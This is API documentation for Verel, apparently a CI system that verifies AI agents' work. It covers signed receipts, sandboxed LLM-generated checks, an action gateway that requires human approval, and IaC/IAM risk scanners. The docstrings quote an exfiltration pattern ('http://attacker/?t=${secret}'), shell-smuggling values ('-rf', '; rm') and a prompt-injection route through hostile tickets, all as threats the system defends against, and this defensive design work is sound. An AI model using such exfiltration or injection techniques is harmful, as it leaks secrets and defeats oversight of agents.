Skip to content

Python API

The verdict bus, senses, and CI stages are all importable. Example — gate any repo:

from verel.ci import inner_loop_stage, run_stage
result = run_stage(inner_loop_stage(".", with_lint=True))
print(result.verdict)          # pass / warn / fail

The verdict contract

models

The Verdict-bus data model — the unified Report/Percept contract.

This is an extension of AgentVision's Report reached through the sight adapter (verel.senses.sight), NOT a copy. Fields marked COMPUTED are produced by Verel: Issue.fingerprint, Report.cost_usd, Report.errored, Report.run_receipt.

SignableReceipt

Bases: Protocol

The structural shape the signing/verification machinery (gate, keys) operates on — shared by RunReceipt (per-grader) and GateReceipt (gate-level envelope) so both reuse one signer.

RunReceipt

Bases: BaseModel

Grader-execution attestation (§7.1). Required for graders in the required set.

Two-tier signing (§11): alg="hmac-sha256" (default) is fast and shared within a trust domain; alg="ed25519" is publicly verifiable across domains — runner_identity carries ed25519:<key_id> and verify needs only the producer's PUBLIC key, no shared secret.

Report

Bases: BaseModel

EXTENSION of AgentVision's Report via the §8.3 adapter.

Observation

Bases: BaseModel

One percept observation — the per-issue payload of a Percept.

Percept

Bases: BaseModel

The senses/perception-bus envelope (§8.3). Sight is one sense among many.

ReceiptKind

Bases: str, Enum

Two-tier receipt model for QuineOS (design change DC-04).

COMMITTED — irreversible actions. Synchronously blocking: nothing advances until the receipt is durably written. Non-revocable. The gate MUST complete before the caller gets a response.

OPTIMISTIC — advisory / read-only / idempotent actions. Signed asynchronously; revocable if a later grader invalidates it. Use for actions where the cost of the blocking round-trip exceeds the risk of the action. The caller may proceed before the receipt is committed, but must honour a subsequent REVOKE from the store.

ReceiptVerification

Bases: BaseModel

Result of the public verify verb (§11) — did a receipt check out, and could a stranger?

GraderAttestation

Bases: BaseModel

One grader's line in a gate-level receipt (§4): its verdict + the signed RunReceipt that attests it actually ran. Advisory graders (vision/llm) inform but never gate, so they may omit a receipt; a precise grader in the gate's required set must carry a verifiable one.

GateReceipt

Bases: BaseModel

The gate-level receipt (§4) — the headline wedge surfaced over MCP. Wraps the per-grader RunReceipts so a SECOND party can confirm an agent's verdict was real.

The whole envelope is SIGNED (signing_payload binds verdict + fingerprint + identity, alg first), so the aggregate verdict and the grader set are cryptographically bound — not merely fingerprinted. Without that signature an attacker could flip the verdict or relabel a grader precise=false (to skip its signature check) and just recompute the unsigned fingerprint. The same field shape as RunReceipt lets it reuse the ed25519/HMAC signing machinery (keys, gate).

GateReceiptVerification

Bases: BaseModel

Result of verifying a gate-level receipt: did the fingerprint recompute and every precise grader's signature check out — and was the whole thing publicly verifiable (ed25519)?

report_result_digest

report_result_digest(report: Report) -> str

Digest of a report's graded OUTCOME — bind EVERY field the gate trusts so a Report tampered after signing is rejected (§7.1). That means not just verdict + issue (kind, severity, message) but also confidence and source (the gate clamps severity by these) and errored (the dead-gate path) — otherwise an attacker flips confidence HIGH→LOW to clamp a CRITICAL to WARNING while the receipt still matches.

The gate

gate

The Gate — a typed reducer with an explicit CEILING clamp + grader attestation (§7.1), plus generalized stuck/progressed detection (§7.2).

This is the single most load-bearing safety surface in Verel. Every rule here is the direct output of the design's critic loop; do not "simplify" the clamp to a min-by-key.

sign_receipt

sign_receipt(receipt: SignableReceipt, secret: bytes = _RUNNER_SECRET) -> str

Sign per receipt.alg. ed25519 signs with the local runner's key (the caller must have stamped runner_identity/public_key first — see keys.attest_self); hmac-sha256 (default) keys off the shared trust-domain secret.

verify_signature

verify_signature(receipt: SignableReceipt, secret: bytes = _RUNNER_SECRET, *, allowed_algs: set[str] | None = None) -> bool

True iff the receipt's signature is valid under its alg. Fails CLOSED on: empty signature, an alg outside allowed_algs (when a policy is given), an unknown alg, ed25519 with an untrusted key, or PyNaCl absent. ed25519 needs only a trusted PUBLIC key (no shared secret).

verify_receipt

verify_receipt(receipt: SignableReceipt, *, secret: bytes = _RUNNER_SECRET, allowed_algs: set[str] | None = None) -> ReceiptVerification

The public verify verb (§11): check a receipt and explain the result — including whether it was publicly verifiable (ed25519 against a trusted public key) or shared-secret (HMAC).

coverage_satisfied

coverage_satisfied(coverage_assertion: str, diff_files: set[str]) -> bool

The grader must prove it scanned at least one changed file.

coverage_assertion is of the form "scanned files: a.py,b.py". An empty diff set is treated as satisfied (nothing changed to cover).

progressed

progressed(curr: Report, prev: Report) -> bool

STRICT subset shrinkage of the gating-failure set. Equal-cardinality swaps and growth are NOT progress (a decoy that adds a new gating issue is a regression).

Issue fingerprints

Stable, content-addressed identity for an issue — so the same defect dedupes across runs and a fixed issue can be recognised as gone. assign stamps fingerprints onto a report; issue_signature reduces a report to its set of (kind, fingerprint) pairs; canonicalize normalises a message.

fingerprint

Scrubbed, Nirvana-computed fingerprints + issue-set signature (§7.2).

AgentVision's issue_signature is message-based (message.strip().lower()), which is too brittle to be the fleet-wide identity: any line number / seed / timestamp / float yields a new signature -> progressed=true forever -> stuck never fires. Verel computes a scrubbed fingerprint per GraderKind and recomputes progressed/stuck from its own log.

canonicalize

canonicalize(msg: str) -> str

Scrub volatile tokens so the same logical failure hashes stably across reruns.

fingerprint

fingerprint(i: Issue) -> str

Per-GraderKind stable identity for one issue. NIRVANA-computed.

assign

assign(report: Report) -> Report

Populate fingerprint on every issue in place; returns the same report.

issue_signature

issue_signature(report: Report) -> frozenset[tuple[str, str]]

Identity of the issue set — used for progress/stuck detection.

Senses (the eyes)

sight

The sight sense — AgentVision adapter (§8.2, §8.3).

Faithful rules enforced here: - Grader identity & precise-vs-advisory key off Issue.source (closed dom/ocr/cv/vision), NEVER off Report.backend (an open provenance string). - The "reachable without a vision backend" capability set is imported from agentvision.core.checks.CLASSIC_CAPABILITIES, not hand-transcribed (drift-proof). - One AgentVision Report is split into one Verel Report per source-grader, so the Gate's report-level advisory clamp (§7.1) is exactly correct (a vision report clamps to WARN; a dom report does not). A single combined Percept is emitted for the episodic log. - Issue.fingerprint, errored, and the synthetic-fallback filter are COMPUTED here.

AgentVision is an OPTIONAL dependency: import it lazily so the verdict-bus core has no heavy deps. Install with pip install "verel[sight]".

SightResult dataclass

What the sight sense produces for one saccade (one analyze call).

classic_capabilities

classic_capabilities() -> set[str]

The kinds the no-LLM (local/checks) path can emit, imported from source so it cannot silently drift from AgentVision.

from_agentvision

from_agentvision(av_report, *, sense: str = 'sight', agent_id: str = '', artifact_id: str = '', cost_usd: float = 0.0) -> SightResult

Map a real agentvision.models.report.Report into the Verel verdict-bus contract.

Pure function over the AgentVision object — no rendering, no I/O.

perceive async

perceive(source: str, *, backend: str = 'local', agent_id: str = '', full_page: bool = True, allow_local: bool = False, settings_overrides: dict | None = None, **analyze_kwargs) -> SightResult

Render + analyze source through AgentVision, return the Verel SightResult.

Thin wrapper over agentvision.analyze(...). Requires verel[sight].

SSRF: AgentVision's block_private_networks guard is left ON by default — source is attacker/agent-controlled, so localhost/LAN/metadata endpoints are refused. allow_local=True is an EXPLICIT opt-in (e.g. an agent verifying its own dev server) that disables the guard.

watch async

watch(source: str, *, backend: str = 'local', agent_id: str = '', **watch_kwargs) -> SightResult

Temporal perception — watch source OVER TIME (playback / loading / liveness).

Thin wrapper over agentvision.watch(...); returns the same Verel SightResult so the verdict bus and brain consume it like any other sense. A deterministic stall (video not advancing) gates to FAIL; the temporal vision findings are advisory/clamped. The percept carries playing/live/stabilized so the brain can compound "playback verified". Requires verel[sight].

CI stages & self-healing

pipeline

Agent-run CI/CD pipeline — inner loop + pre-commit gate (§7.4, v1 stages).

Stages compose graders (any sense) and gate them through the verdict bus with attestation. The pre-commit stage additionally consults failure-memory: a change that reintroduces a previously-fixed failure is gated FAIL from memory alone (§7.5), and new gating failures are recorded so the fleet stops repeating them. This is "CI run by agents" with the same safety contract as everything else — nothing is green unless a grader said so.

run_stage

run_stage(stage: Stage, *, diff_files: set[str] | None = None, runner: Runner = subprocess_runner, ledger: FailureLedger | None = None, ts: float = 0.0, flaky_signatures: set[str] | None = None, attest: str = 'hmac') -> StageResult

Run all graders in a stage, gate them, and (if a ledger is given) apply the failure-memory regression check + record new gating failures. attest selects the receipt scheme: "hmac" (default) or "ed25519" (publicly verifiable, needs verel[attest]).

precommit_stage

precommit_stage(repo: str, *, covers: list[str] | None = None, language: str = 'python') -> Stage

Unit + affected tests + lint; the failure-memory fingerprint check is applied by run_stage when a ledger is passed.

postmerge_stage

postmerge_stage(repo: str, *, smoke_paths: list[str] | None = None, covers: list[str] | None = None, language: str = 'python') -> Stage

Smoke/E2E canary on the merged code (§7.4). A failing canary on PRECISE evidence is what the rollback policy engine acts on (canary.py).

premerge_stage

premerge_stage(repo: str, *, covers: list[str] | None = None, language: str = 'python', with_types: bool = True, security: bool = False, perf: GraderSpec | None = None, mutation: list[str] | None = None) -> Stage

Full suite + lint (+types) — the sandbox-CI gate before a merge is allowed (§7.4). Optionally adds a SECURITY scanner (HIGH/CRITICAL gate), a PERF budget grader, and a MUTATION test-effectiveness grader (mutation = the changed source files to mutate; Python only). Pair with a regression-guard by passing a ledger to run_stage.

heal

Self-healing CI (§7.4 v2) — the ci-medic actually executes its remediations.

Run a stage; if it fails, triage each failure and act — RETRY re-runs, QUARANTINE_FLAKY downgrades (ERROR→WARNING, ticketed), FIX_BRANCH invokes the code-fixer agent — then re-gate. Repeat until PASS or the rounds run out (escalate to a human with the trail). The agent only proposes patches; the graders decide done, every round.

Verified-Review graders

Test-effectiveness (mutation), spec/intent conformance, business-rule invariants, over-engineering smell, and the action gateway — all importable, all on the verdict bus.

Test-effectiveness (mutation)

mutation

Test-effectiveness via mutation testing (§ Verified Review, grader A).

A green suite proves nothing if it asserts nothing. This injects small faults ("mutants") into the changed source and re-runs the suite: a mutant the suite still passes is a survivor — the tests don't actually constrain that line. Survivors are hard, deterministic evidence (not an LLM hunch), so the grader gates (GraderKind.MUTATIONPRECISE_GRADERS).

Zero-dependency: a tiny ast-based mutator over a focused, high-signal operator set. Diff-scoped (mutate only changed lines) to stay under the CI budget. The suite is the user's OWN tests — same trust model as the existing TEST grader — so no new sandbox surface.

python -m verel.ci.mutation --repo R --targets a.py,b.py prints one JSON line for the grader.

generate_mutants

generate_mutants(source: str, *, lines: set[int] | None = None, cap: int = 25) -> list[Mutant]

Generate up to cap single-point mutants of source. If lines is given, only mutate sites on those (changed) lines. Each mutant re-parses a fresh tree and mutates exactly one site, so the others stay pristine.

run_mutation

run_mutation(repo: str, targets: list[str], *, lines_by_file: dict[str, set[int]] | None = None, test_args: list[str] | None = None, cap_per_file: int = 25, timeout: int = 60, total_budget_s: float = 240.0) -> MutationResult

Mutate each target file's changed lines, run the suite per mutant, collect survivors.

Requires a GREEN baseline: test-effectiveness is meaningless on a red suite, so if the unmutated suite doesn't pass we report baseline_pass=False and assess nothing. Files are always restored.

total_budget_s bounds the WHOLE run's wall-clock and MUST stay safely under the grader's outer subprocess timeout (300s): a new mutant is only started if its worst case (timeout) still fits the budget, so the process always reaches its restore loop and exits cleanly — it can never be SIGKILL'd by the outer timeout mid-mutation, which would leave a mutated file on disk.

Spec / intent conformance

spec

Spec / intent conformance grader (Verified Review, grader B) — "the ticket says A, the code does B".

The naive move ("ask an LLM if the code matches the ticket") is just another unreliable opinion. This keeps Verel's invariant — the LLM proposes, execution verifies, only an executed check gates:

  1. Extract checkable acceptance criteria from the TICKET (the human-written PR/issue text — never the agent's diff, so the agent can't write the spec to match its own bug).
  2. Compile each criterion to N independent pytest checks that assert it against the repo's API.
  3. Execute each check in a sandboxed subprocess (no network, wall-clock timeout, rlimits).
  4. Majority-vote per criterion over the conclusive checks: a strict majority FAIL → the criterion is violated → a grounded INTENT_MISMATCH ERROR that GATES (a single wrong generated test can't false-fail a merge). All checks errored/unrunnable → unverified → an advisory WARNING (we never claim to verify what we couldn't execute).

The model only ever proposes checks; a hallucinated judge can neither block a good merge (a wrong check is outvoted / inconclusive → advisory) nor pass a broken one (it can't make a failing executed test pass). The grader signs a RunReceipt over the frozen generated suite, like the CONTRACT grader.

SpecIsolationError

Bases: RuntimeError

Raised when generated checks must run but no OS-isolation (bwrap) is available.

public_api

public_api(repo: str, files: list[str]) -> str

A compact 'module: name, name' summary of the changed files' top-level defs/classes, so the generator knows what to import and assert against. Pure ast — never imports the code.

extract_criteria

extract_criteria(criteria_text: str, *, chat: SpecChatFn) -> list[Criterion]

LLM → a list of checkable acceptance criteria. Non-JSON / empty replies yield [].

generate_checks

generate_checks(criterion: Criterion, api_summary: str, *, chat: SpecChatFn, n: int = 2) -> list[str]

LLM → up to n independent pytest test sources asserting criterion against the repo API.

is_safe_check

is_safe_check(test_source: str, allowed_modules: set[str]) -> bool

True iff the generated test only imports the repo's modules + a stdlib assertion whitelist and calls no code-exec/file/process builtins. Unparseable or anything outside the allowlist → False (refused, never executed). This contains prompt-injection: the model can't smuggle import os.

run_check

run_check(repo: str, test_source: str, *, timeout: int = 30, allowed_modules: set[str] | None = None, isolation: str = 'container') -> str

Execute one LLM-generated pytest test against repo. Returns pass|fail|error.

The generated test is UNTRUSTED (steered by a possibly-hostile ticket), so by default it runs ONLY inside real OS isolation (isolation="container": bwrap no-net + read-only fs + seccomp). When bwrap is unavailable it fails closederror (the check is NOT run, the criterion stays unverified → advisory). Static analysis (is_safe_check) is a cheap defense-in-depth pre-filter, NEVER the boundary (a blocklist can't sandbox a Turing-complete language). isolation="subprocess" is an explicit, documented opt-out for a TRUSTED-LOCAL repo+ticket only (rlimit subprocess, no network isolation) — never use it on external-contributor PR text.

tally

tally(check_results: list[str]) -> str

Majority vote over conclusive checks. Strict majority of fails → 'violated'; else if any conclusive → 'satisfied'; all errored/none → 'unverified'. Conservative: a tie does NOT gate.

grade_spec

grade_spec(repo: str, criteria_text: str, changed_files: list[str], *, chat: SpecChatFn, n: int = 2, timeout: int = 30, runner_identity: str = 'spec-grader', isolation: str = 'container') -> Report

Grade the diff against the ticket's intent. Returns a signed CONTRACT Report: a grounded INTENT_MISMATCH ERROR per violated criterion (gates), an advisory WARNING per unverified one.

isolation="container" (default) runs each generated check under bwrap OS-isolation and FAILS CLOSED (the criterion stays unverified/advisory) when bwrap is absent — never executing untrusted ticket-derived code in-process. Use isolation="subprocess" ONLY for a trusted-local repo+ticket.

default_chat

default_chat(**kw) -> SpecChatFn

The real LLM chat as a SpecChatFn (returns the model's text). Lazy-imports the provider so the grader's pure helpers stay importable without an LLM configured.

grade_pr

grade_pr(repo: str, repo_full_name: str, number: int, *, token: str | None = None, api: str = 'https://api.github.com', chat: SpecChatFn | None = None, n: int = 2) -> Report

R2→B: fetch a PR's acceptance criteria + changed files from GitHub, then grade the repo against that intent. The 'ticket' comes from the team's GitHub, not a new format.

Business-rule / invariant

invariants

Business-rule / invariant grader (Verified Review, grader C) — "business rules get ignored".

Declared invariants — "an order total always includes tax", "a refund never exceeds the charge" — compiled to executable property checks and run against the repo; a falsified invariant gates. Unlike the spec grader (B), the rules are human-declared (a verel_invariants.yaml/.txt in the repo, or passed in), not extracted from a possibly-hostile ticket — so the injection surface is smaller. Everything else reuses B's hardened pipeline: the LLM compiles N independent checks per invariant, they run under the SAME bwrap OS-isolation + fail-closed (verel.ci.spec.run_check), a majority vote decides (one wrong generated check can't false-fail a merge), and a signed receipt is emitted.

load_invariants

load_invariants(repo: str) -> list[Invariant]

Read declared invariants from verel_invariants.{yaml,yml,txt} in repo. One per non-empty, non-# line (a leading id: is optional). Returns [] if no file is present.

grade_invariants

grade_invariants(repo: str, invariants: Sequence[Invariant | str], changed_files: list[str], *, chat: SpecChatFn, n: int = 2, timeout: int = 30, runner_identity: str = 'invariant-grader', isolation: str = 'container') -> Report

Grade the repo against declared invariants. Returns a signed CONTRACT Report: a grounded ERROR per falsified invariant (gates), an advisory WARNING per one that couldn't be grounded.

Over-engineering smell

smell

Over-engineering / scope-creep smell grader (Verified Review, grader D) — "random abstractions for problems nobody was trying to solve".

This is eventually the smell organ olfel's job (ORGANISM.md). Until olfel is scheduled it lives here as a self-contained, dependency-free module that emits standard verdict-bus Reports, so it lifts into olfel later unchanged. It is deterministic ast analysis only — no code execution, so it carries no sandbox/injection surface (unlike the spec/invariant graders):

  • Cyclomatic complexity per changed function. Over the budget → a gating SMELL/COMPLEXITY ERROR (deterministic, in PRECISE_GRADERS).
  • Speculative generality — a new top-level class/function in the changed files that is referenced nowhere in the repo (an abstraction nobody needed yet) → an advisory WARNING.

The optional "this abstraction solves a problem not in the ticket" judgment is left to an LLM layer (advisory); the gating signal is the hard, countable complexity metric.

cyclomatic_complexity

cyclomatic_complexity(fn: AST) -> int

McCabe complexity of a function node: 1 + one per decision point (branch / loop / boolean operand beyond the first / comprehension clause).

file_complexity

file_complexity(source: str) -> dict[str, int]

{function_name: complexity} for a module source ({} if it doesn't parse).

grade_smell

grade_smell(repo: str, changed_files: list[str], *, complexity_budget: int = 12, flag_speculative: bool = True) -> Report

Grade the changed files for over-engineering. A function over complexity_budget gates (deterministic ERROR); a new public def/class referenced nowhere in the repo is an advisory WARNING (speculative generality).

Action gateway

gateway

Action gateway — gate the boundary, not just the loop (the "Reach" capstone, G).

The agent calls its normal tools (write_file, create_pr, deploy, delete_*); this sits in front and gates the consequential ones: a verdict decides whether an action forwards, and an irreversible action is dry-run by default and requires explicit human approval. The agent needn't know the gateway exists.

This is enforcement that will eventually be immel (boundary/policy) and actel (act-then-verify). It is built here now, but behind a clean three-layer seam so it lifts out later as a package move, not a rewrite:

  • verdictdecide: classify the action and (for consequential ones) gate the artifact.
  • enforceforward / block / dry-run / require-approval / rollback: the policy decision.
  • adapters — the actual tool invocation (invoke) and approval channel (approve), injected.

Non-negotiables (the actel/immel rules), honored from day one: * Fail closed — an unclassifiable action, a missing gate, or a denied tool does NOT forward. * Dry-run by default for irreversible/destructive actions; human approval required to apply. * Never auto-apply a destructive op on advisory evidence.

Policy dataclass

What the gateway allows. deny always wins (fail closed); allow (if non-empty) is an allowlist. dry_run (default True) means irreversible actions are never applied without explicit approve. auto_consequential lets safe-classified writes through without an artifact gate.

Gateway

Front a set of tools with the gate. invoke performs the real action; gate (optional) returns a verdict for a consequential action's artifact; approve (optional) is the human channel for irreversible actions. With neither gate nor approve, the gateway still fails closed.

repo_gate

repo_gate(repo: str = '.') -> GateFn

A ready-made gate adapter that runs the Verel CI gate on repo and returns its verdict — so a consequential action only forwards when the repo currently passes. NOTE: this is a pre-condition gate (is the repo green BEFORE the action?), not an artifact-level check of what the action produces — verifying the post-action world is actel's act-then-verify job.

IaC / cloud-IAM graders & actuators

The offline IaC/IAM change sensor (Terraform plan + cloud IAM across AWS/GCP/Azure), the native Kubernetes RBAC sensor, the plan-bound Terraform actuator, and the opt-in effective-access verifier.

IaC / cloud-IAM sensor

iac

IaC graders + the cloud-IAM change sensor (IAC-KICKOFF.md, Phase 1).

Functional graders are blind to infrastructure intent and to cloud-IAM blast radius: a dangerous grant rides inside a 200-resource terraform plan, passes every test/lint/type gate, and only surfaces as an incident or a failed audit later. These graders make IaC a first-class sense on the verdict bus and catch dangerous IAM changes before apply.

Three things live here, all PURE over canned tool output (the Runner is injected, so the whole matrix runs offline with no terraform/trivy installed):

  • parse_terraform_validate — syntax/schema errors gate (GraderKind.IAC).
  • parse_terraform_plan — a terraform show -json plan → destroy/replace visibility (IAC_DRIFT) + the IAM sensor (IAM_RISK).
  • parse_trivy_config — IaC misconfiguration scan (GraderKind.SECURITY).

The IAM sensor (extract_iam_changes + iam_risk_issues) is the valuable core: it normalizes an IAM-affecting change from any provider into one shape and runs deterministic risk rules (wildcard / privilege-escalation / public-principal / admin-grant / open-ingress) that GATE. plan_summary / destructive_changes feed the Phase-4 gateway escalation.

IamChange dataclass

A normalized IAM-affecting change (IAC-KICKOFF.md). after is the planned resource state the risk rules evaluate; change_type drives gateway escalation.

safe_path

safe_path(value: str, what: str = 'path') -> str

A path argument: charset-safe AND no remote scheme (https:///oci://kubectl -f and helm template FETCH those: SSRF / hostile remote chart) AND no .. traversal segment.

parse_terraform_validate

parse_terraform_validate(out: str, err: str = '') -> list[Issue]

terraform validate -json: {"valid":bool,"diagnostics":[{severity,summary,detail,range}]}.

extract_iam_changes

extract_iam_changes(plan: dict) -> list[IamChange]

Pull IAM-affecting resource_changes out of a terraform show -json plan document.

iam_risk_issues

iam_risk_issues(changes: list[IamChange]) -> list[Issue]

Run the deterministic risk rules over normalized IAM changes → gating IAM_RISK issues.

plan_summary

plan_summary(plan: dict) -> dict[str, int]

Count planned actions by kind — feeds the gateway escalation and the report summary.

destructive_changes

destructive_changes(plan: dict) -> list[str]

Addresses with a planned destroy or replace — the gateway escalates these to IRREVERSIBLE.

provisioner_resources

provisioner_resources(plan: dict) -> list[str]

Addresses of resources that run an ARBITRARY PROGRAM at apply/refresh whose side effects are INVISIBLE to resource_changes/after — the canonical "clean plan, dirty apply". Covers a local-exec/remote-exec PROVISIONER (round-6 P1) AND an external DATA SOURCE (data "external" { program = [...] }, runs every refresh — round-7 F5). Gated ERROR/IRREVERSIBLE.

http_data_sources

http_data_sources(plan: dict) -> list[str]

Addresses of data "http" sources — they issue a GET at every plan/refresh and can EXFILTRATE via URL interpolation (url = "http://attacker/?t=${secret}") or SSRF. Lower-risk than an exec program (GET only, and http has legitimate uses), so surfaced as an ADVISORY (round-8 F2).

parse_terraform_plan

parse_terraform_plan(out: str, err: str = '') -> list[Issue]

A terraform show -json plan → IAC_DRIFT issues (destroy/replace, INFO: visibility, won't gate at the reducer) + IAM_RISK issues (gating). Note: planned destroy/replace is surfaced for review and gateway escalation, not auto-failed — a legitimate destroy must not hard-fail the gate.

parse_trivy_config

parse_trivy_config(out: str, err: str = '') -> list[Issue]

trivy config --format json: {"Results":[{"Target","Misconfigurations":[{ID,Severity,Title, CauseMetadata:{StartLine}}]}]}.

terraform_plan_spec

terraform_plan_spec(repo: str, planfile: str = 'tfplan.bin', covers: list[str] | None = None, *, binary: str = 'terraform')

Grade a PRE-EXISTING binary plan (produced by the actuator's plan -out=tfplan.bin) via terraform show -json. Grading the bound plan file — not a re-plan — is what makes the receipt's input binding meaningful (TOCTOU defense, IAC-KICKOFF.md §plan-binding).

parse_tflint

parse_tflint(out: str, err: str = '') -> list[Issue]

tflint --format json: {"issues":[{rule:{name,severity},message,range:{filename,start:{line}}}], "errors":[...]}. tflint internal errors (bad config) are surfaced as ERROR — a grader that could not actually lint is not a clean pass.

parse_checkov

parse_checkov(out: str, err: str = '') -> list[Issue]

checkov -o json: {"results":{"failed_checks":[{check_id,check_name,file_path, file_line_range:[start,end],severity,resource}]}} (or a list across frameworks). Only failures.

parse_conftest

parse_conftest(out: str, err: str = '') -> list[Issue]

conftest -o json: [{filename,namespace,failures:[{msg}],warnings:[{msg}],successes:int}]. failures gate (ERROR); warnings advise (WARNING).

conftest_spec

conftest_spec(repo: str, paths: list[str], *, policy_dir: str = 'policy', covers: list[str] | None = None)

Policy-as-code gate. Convention (the "policy bundle"): rego policies live in policy_dir in the repo, versioned alongside the IaC they govern; signing/distribution of shared bundles is a later item (IAC-KICKOFF.md §open-risks).

parse_infracost

parse_infracost(out: str, err: str = '', budgets: dict[str, float] | None = None) -> list[Issue]

infracost --format json: {totalMonthlyCost, diffTotalMonthlyCost, currency}. Gates only when a declared budget is exceeded — budgets={"monthly": 1000} and/or {"diff": 200}.

parse_parliament

parse_parliament(out: str, err: str = '') -> list[Issue]

parliament --json: a list of findings [{issue,title,severity,detail,location}]. Severity HIGH/CRITICAL gate; MEDIUM/LOW advise (same severity floor as the other security graders).

parse_cloudsplaining

parse_cloudsplaining(out: str, err: str = '') -> list[Issue]

Cloudsplaining scan JSON: {policy_or_role_name: {PrivilegeEscalation:[...], ResourceExposure:[...], DataExfiltration:[...], CredentialsExposure:[...], ...}}. Each non-empty risk bucket → an IAM issue grounded on the policy name.

Kubernetes RBAC sensor

k8s

Kubernetes graders + the native RBAC sensor (IAC-KICKOFF.md, Phase 3).

Renders/validates manifests and grades them on the verdict bus, and — Capture B of the IAM change sensor — extracts dangerous RBAC out of native Kubernetes manifests before they apply:

  • extract_rbac_risks — pure over parsed manifest dicts: wildcard rules, escalate/bind/impersonate, cluster-wide secret read, cluster-admin / system:masters bindings, anonymous subjects (IAM).
  • parse_kube_objects — JSON manifests (a List object / array / single / NDJSON, e.g. kubectl ... -o json) → the RBAC sensor. No YAML dependency.
  • parse_helm_templatehelm template YAML output → the RBAC sensor (lazy pyyaml, in verel[iac]).
  • parse_kube_score / parse_kube_linter / parse_polaris — config posture scanners (SECURITY).

All parsers are pure over canned tool output (the Runner is injected), so the matrix runs offline. The terraform-provider RBAC path (snake_case) lives in iac.py::_k8s_rbac; this module handles native camelCase manifests — same risk vocabulary, different surface.

extract_rbac_risks

extract_rbac_risks(manifests: list) -> list[Issue]

Run the deterministic RBAC risk rules over native Kubernetes manifest dicts → IAM issues.

parse_kube_objects

parse_kube_objects(out: str, err: str = '') -> list[Issue]

JSON Kubernetes manifests → RBAC risk sensor (no YAML dependency).

parse_helm_template

parse_helm_template(out: str, err: str = '') -> list[Issue]

helm template YAML (multi-doc) → RBAC risk sensor. YAML support is lazy (pyyaml, in verel[iac]); without it the RBAC scan is skipped with a visible WARNING (not a silent green).

parse_kube_score

parse_kube_score(out: str, err: str = '') -> list[Issue]

kube-score --output-format json: a list of {object_name, checks:[{check:{id,name},grade, comments:[{summary}]}]}. grade 1=critical, 5/7=warning, 10=ok. <=1 gates, <10 advises.

parse_kube_linter

parse_kube_linter(out: str, err: str = '') -> list[Issue]

kube-linter lint --format json: {"Reports":[{Check,Diagnostic:{Message}, Object:{K8sObject:{Namespace,Name,GroupVersionKind:{Kind}}}}]}. No severity → WARNING.

parse_polaris

parse_polaris(out: str, err: str = '') -> list[Issue]

polaris audit --format json: {"Results":[{Name,Namespace,Kind, ...nested checks...}]}. Each failed check carries a Severity (danger→ERROR, warning→WARNING) and a Message.

kubectl_dryrun_spec

kubectl_dryrun_spec(repo: str, path: str = '.', covers: list[str] | None = None)

Validate + RBAC-scan manifests via client-side dry-run (no cluster needed).

grade_iac

grade_iac(repo: str, *, plan: str | None = None, manifests: str | None = None) -> Report

Grade IaC artifacts OFFLINE into one IAC Report (no cloud creds, nothing applied): a terraform show -json plan (drift + the cloud-IAM change sensor) and/or Kubernetes manifests as JSON (the RBAC sensor). Verdict reduces by gating severity — a wildcard/privesc/public/admin grant (ERROR/CRITICAL) FAILs; a planned destroy/replace is surfaced (INFO, does not gate.

Terraform actuator (act-then-verify)

terraform

Terraform/OpenTofu actuator — act-then-verify (IAC-KICKOFF.md Phase 4).

The agent calls its normal tools; the gateway (verel.gateway) gates the consequential ones. This actuator is what runs behind a forwarded terraform action — and it enforces the IaC-specific non-negotiables the generic gateway can't:

  • plan — produce a BOUND binary plan (plan -out), its digest, and an IAC verdict (drift + the IAM sensor). The digest binds the exact bytes that were graded.
  • act — apply EXACTLY the approved plan file. A digest mismatch (a re-plan or file substitution between approval and apply) is REFUSED, never applied — the plan-binding / TOCTOU defense. This stops accidental re-plans and cross-trust-domain swaps; a same-uid adversary who controls the working dir is out of scope without OS isolation (actel) — see R-007.
  • watch — re-plan after apply; PASS only when the world converged (no remaining drift).

Honored from day one (the actel/immel rules): * Dynamic escalation — destroy/replace OR IAM widening in the bound plan ⇒ IRREVERSIBLE (dry-run + human approval); pure create/no-op ⇒ CONSEQUENTIAL (verdict-gated). Fed to the gateway via the documented Policy.overrides hook (escalation_override). * Fail closed — a failed/unparseable plan, a missing planfile, a digest mismatch, or an un-approved irreversible action does NOT apply. * Argv only — every command is argv (no shell); operator-influenced args (binary, planfile) are charset-validated so a value like -rf or ; rm can't smuggle an option / shell metachar.

The command runner and the planfile reader are injected, so the whole module is unit-tested offline with no terraform installed.

TerraformActuator

Plan/act/watch for a terraform/tofu working directory. Inject runner/read_bytes for tests.

plan
plan() -> PlanResult

Produce a bound binary plan, grade it (drift + IAM), and classify the apply.

act
act(approved_digest: str) -> ActResult

Apply EXACTLY the bound plan. Refuses unless the planfile's CURRENT digest equals the approved digest — a re-plan or file swap between approval and apply is rejected, not applied. (Human-approval gating for IRREVERSIBLE actions is the gateway's job, upstream of this.)

SCOPE (honest): the digest re-check closes accidental re-plans and any cross-trust-domain / cross-process swap. It does NOT close a same-uid adversary who can rewrite the planfile in the sub-millisecond window between this check and terraform re-opening it by path — that requires running the actuator in a separate trust domain (the actel OS-isolation story). See R-007.

destroy
destroy(*, approved: bool = False) -> ActResult

Destroy is inherently IRREVERSIBLE — refuses unless the caller (the gateway, post human approval) passes approved=True.

watch
watch() -> Report

Act-then-verify: re-plan after apply. -detailed-exitcode → 0 no changes (converged), 2 changes remain (drift), 1 error.

plan_digest

plan_digest(data: bytes) -> str

Identity of a binary plan file — the bound digest the gate approves and act re-checks.

escalate

escalate(plan_json: dict, *, base: ActionClass = ActionClass.CONSEQUENTIAL) -> tuple[ActionClass, list[str]]

Destroy/replace OR IAM widening ⇒ IRREVERSIBLE (dry-run + human approval); else base (CONSEQUENTIAL, verdict-gated). Returns (class, human-readable reasons).

escalation_override

escalation_override(plan_json: dict) -> dict[str, ActionClass]

Plan-aware Policy.overrides for the gateway: classify terraform/tofu apply from the bound plan, and always treat destroy as IRREVERSIBLE.

iam_action_class

iam_action_class(tool: str) -> ActionClass | None

IRREVERSIBLE for an IAM-widening tool name (Capture C), else None (defer to verb heuristics).

iam_tool_overrides

iam_tool_overrides(tools: list[str]) -> dict[str, ActionClass]

Build Policy.overrides forcing every IAM-mutating tool in tools to IRREVERSIBLE.

Effective-access verifier

access_verify

Effective-access verification — the act-then-verify capstone for IAM (IAC-KICKOFF.md Phase 5).

